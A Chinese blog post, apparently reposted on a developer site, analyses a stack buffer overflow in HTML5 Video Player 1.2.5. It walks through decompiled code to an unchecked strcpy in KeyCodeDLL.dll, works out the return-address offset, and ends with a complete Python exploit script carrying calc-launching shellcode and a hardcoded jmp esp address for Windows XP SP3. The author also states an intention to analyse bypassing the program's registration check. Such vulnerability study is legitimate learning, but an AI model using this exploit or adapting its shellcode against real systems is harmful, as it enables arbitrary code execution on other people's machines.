HTML5 Video Player 1.2.5 缓冲区溢出分析

栏目: Html5 · 发布时间: 5年前

内容简介:放假前最后一天看到因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:

放假前最后一天看到 exploit-db 上出了一个 HTML5 Video Player 的缓冲区溢出的 exploit,版本是 1.2.5,(无心工作)就分析了一下这个漏洞,是一个比较简单的栈溢出漏洞,简单记录一下。

app & exp

因为最近在练习 windows 平台挖洞和写 exploit 的能力,因此就只看了 PoC 的说明部分:

# PoC:
# 1.) Generate exploit.txt, copy the contents to clipboard
# 2.) In application, open 'Help' then 'Register'
# 3.) Paste the contents of exploit.txt under 'KEY CODE'
# 4.) Click OK - Calc POPS!

看起来溢出发生在注册时,先安装软件,查壳。

HTML5 Video Player 1.2.5 缓冲区溢出分析

.NET 架构,搜了一下发现 C# 难以出现 溢出漏洞 ,因此猜测溢出发生在 dll 中。

使用 dnspy 打开文件,通过搜索注册时的字符串 Key Code 定位到关键的代码在 HTML5VideoPlayer.RegisterDialog.okButton_Click()

// Token: 0x060000ED RID: 237 RVA: 0x00007A60 File Offset: 0x00005C60
		private void okButton_Click(object sender, EventArgs e)
		{
			string keyName = this.userNameTextBox.Text.Trim();
			string keyCode = this.keyCodeTextBox.Text.Trim();
			if (CallKeyCodeDLL.isRegisterVersion(keyName, keyCode))
			{
				CallKeyCodeDLL.keyName = keyName;
				CallKeyCodeDLL.keyCode = keyCode;
				CallKeyCodeDLL.gIsRegisterCache = true;
				MessageBox.Show("Thank you for your support to us. You have registered this program successfully. All trial limitation has been removed.");
				base.Close();
				return;
			}
			MessageBox.Show("Sorry, the user name and key code is not valid!");
		}

Key Code 栏中输入一串超长的字符串,然后点 OK 注册,发现程序直接 crash,既没有注册成功的弹窗,也没有注册失败的弹窗,说明溢出发生在 CallKeyCodeDLL.isRegisterVersion() 中。查看该函数:

// Token: 0x06000246 RID: 582 RVA: 0x00011428 File Offset: 0x0000F628
		public static bool isRegisterVersion(string userName, string keyCode)
		{
			CallKeyCodeDLL.makeSureEngineInit();
			int num = CallKeyCodeDLL.funcDLLVerifyKeyCode(userName, keyCode);
			return num > 0;
		}

		// Token: 0x06000245 RID: 581 RVA: 0x00011413 File Offset: 0x0000F613
		private static void makeSureEngineInit()
		{
			CallKeyCodeDLL.funcDLLInitEngine(8, "SocuJHTY_HTML5VIDEOPLAYER_WIN");
			CallKeyCodeDLL._alreadyInitKeyCodeEngine = true;
		}

该函数又调用了 makeSureEngineInit()funcDLLVerifyKeyCode() 两个函数,其中 CallKeyCodeDLL.funcDLLVerifyKeyCode() 传递了输入的 userNamekeyCode ,从函数名字来看,溢出就发生在这里了。

查看该函数的定义,是 KeyCodeDLL.dll 中的导出函数,溢出应该就发生在这个函数中了。

// Token: 0x06000244 RID: 580
		[DllImport("KeyCodeDLL.dll", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Ansi, EntryPoint = "#1")]
		private static extern int funcDLLVerifyKeyCode(string strUserName, string strKeyCode);

通过调试验证了猜想。

HTML5 Video Player 1.2.5 缓冲区溢出分析

继续 step over ,程序 crash。

使用 IDA 打开 KeyCodeDll.dll 寻找 funcDLLVerifyKeyCode() 函数,但尴尬的是 dll 被去除了符号表,使用 IDA 看不出函数名,乱翻了几个函数后思考了一下,虽然 dll 没有符号表,但还是能看出导出函数的,于是直接拿 ollydbg 加载程序,查看 KeyCodeDll.dll 的导出函数。

HTML5 Video Player 1.2.5 缓冲区溢出分析

发现只有两个导出函数不确定,应该就是 makeSureEngineInit()funcDLLVerifyKeyCode() 了。分别对两个函数下断点,根据参数调试发现 0x43010D0 是要找的函数。

HTML5 Video Player 1.2.5 缓冲区溢出分析

在 IDA 中查看该函数,发现又调用了另一个函数

int __cdecl funcDLLVerifyKeyCode(char *a1, char *a2)
{
  int result; // eax

  if ( dword_10004010 )
    result = vul((_DWORD *)dword_10004010, a1, a2, 1);// vulnerability
  else
    result = 0;
  return result;
}

继续查看

int __thiscall vul(_DWORD *this, const char *username, const char *keycode, int a4)
{
  _DWORD *v4; // ebp
  int v5; // eax
  char *v7; // [esp+10h] [ebp-4F4h]
  char *v8; // [esp+14h] [ebp-4F0h]
  char *v9; // [esp+18h] [ebp-4ECh]
  int v10; // [esp+1Ch] [ebp-4E8h]
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
  __int16 v13; // [esp+220h] [ebp-2E4h]
  char v14; // [esp+224h] [ebp-2E0h]
  int v15; // [esp+2CCh] [ebp-238h]
  char v16[4]; // [esp+2D4h] [ebp-230h]
  char v17[4]; // [esp+2D8h] [ebp-22Ch]
  char v18; // [esp+2DCh] [ebp-228h]
  int v19; // [esp+384h] [ebp-180h]
  char v20; // [esp+390h] [ebp-174h]
  char v21; // [esp+394h] [ebp-170h]
  int v22; // [esp+43Ch] [ebp-C8h]
  char v23; // [esp+448h] [ebp-BCh]
  char v24; // [esp+44Ch] [ebp-B8h]
  int v25; // [esp+4F4h] [ebp-10h]
  char v26; // [esp+500h] [ebp-4h]

  v4 = this;
  this[68] = 0;
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow
  v7 = v11;
  v17[0] = 0;
  v13 = -(a4 != 0);
  v9 = &v14;
  v20 = 0;
  v23 = 0;
  v26 = 0;
  v8 = v12;
  sub_10001310(&v7);
  v9 = &v18;
  sub_10001460(&v7);
  v9 = &v21;
  sub_100015B0((int)&v7);
  v9 = &v24;
  sub_10001710(&v7);
  if ( dword_10004018 )
    dword_10004018(v4, v11);
  if ( (unsigned __int8)v15 + 1 == (unsigned __int8)v19
    && (unsigned __int8)v15 + 2 == (unsigned __int8)v22
    && (unsigned __int8)v15 + 3 == (unsigned __int8)v25 )
  {
    LOBYTE(v10) = (unsigned __int8)v15 % 4;
    v5 = 184 * (unsigned __int8)v10;
    if ( v17[v5] )
    {
      if ( *(_DWORD *)&v16[v5] == 426969350 )
        v4[68] = 1;
    }
  }
  return v4[68];
}

分析到这,就很容易发现漏洞原因了, strcpy() 未检测长度造成了栈溢出

......
  char v11[256]; // [esp+20h] [ebp-4E4h]
  char v12[256]; // [esp+120h] [ebp-3E4h]
......
......
  strcpy(v11, username);                        // overflow
  strcpy(v12, keycode);                         // overflow

并且发现除了 exploit-db 上指明的 KeyCode 可以造成溢出外,UserName 同样也可以造成溢出。

分析了一下函数逻辑后,发现 v12 这个变量在拷贝完 keycode 后就没有再使用过,因此使用这个变量溢出更方便。

查看汇编,发现该函数使用 esp 寻址,因此就不能确定覆盖返回地址所需的长度是 0x3E4 + 0x4 = 1000 了,但大致也在这个附近,使用 msf 的 pattern 功能,经过调试发现覆盖返回地址需要 996 个字节的字符串。又观察了 vul() 函数后发现函数最后的 Epilogue 不是 ret 而是 retn 0Ch ,因此除了覆盖函数返回地址还需要再填充 12 位无用字符。

测试的环境是 windows xp sp3 ,既没有 ASLR 也没有 DEP,因此可以构造如下的栈结构

padding(996)
---------------
jmp_esp address
---------------
padding(12)
---------------
shellcode

windows 中经常使用 jmp esp + shellcode 的方法,第一次是在 Jarvis OJBackDoor 这道题目 中见到了这种技巧。

写了一段弹计算器的 shellcode,需要注意不能出现截断 strcpy() 的字符

shellcode =  "\x31\xC9"				# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2				# suffix

完整的 exploit

import struct

p32 = lambda x: struct.pack('<I', x)

jesp = 0x7d711020					# shell32.dll

shellcode =  "\x31\xC9"      		# xor ecx, ecx         
shellcode += "\x51"                 # push ecx  
shellcode += "\x68\x63\x61\x6C\x63" # push 0x63616c63 (push calc)  
shellcode += "\x54"                 # push dword ptr esp  
shellcode += "\xBA\xC7\x93\xbf\x77" # mov edx, 0x77bf93c7 (mov edx, system)
shellcode += "\xFF\xD2";            # call edx  
shellcode += "\x90" * 2 			# suffix
    
payload = 'A' * 996 + p32(jesp) + "aaaabbbbcccc" + shellcode

# print(payload)
with open("exploit.txt", "wb") as f:
    f.write(payload)

使用方法是把 exploit.txt 中的内容复制到 Help -> Register - Key Code 中,然后点击 OK

效果图:

HTML5 Video Player 1.2.5 缓冲区溢出分析

Question:

  • 直接用长字符串触发 crash,使用 ollydbg 查看调用堆栈,看不到 dll 中的函数,不知是环境问题还是操作有问题

Todo:

  • 分析如何绕过注册机制

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

征服C指针

征服C指针

前桥和弥 / 吴雅明 / 人民邮电出版社 / 2013-2 / 49.00元

《图灵程序设计丛书:征服C指针》被称为日本最有营养的C参考书。作者是日本著名的“毒舌程序员”,其言辞犀利,观点鲜明,往往能让读者迅速领悟要领。书中结合了作者多年的编程经验和感悟,从C语言指针的概念讲起,通过实验一步一步地为我们解释了指针和数组、内存、数据结构的关系,展现了指针的常见用法,揭示了各种使用技巧。另外,还通过独特的方式教会我们怎样解读C语言那些让人“纠结”的声明语法,如何绕过C指针的陷阱......一起来看看 《征服C指针》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具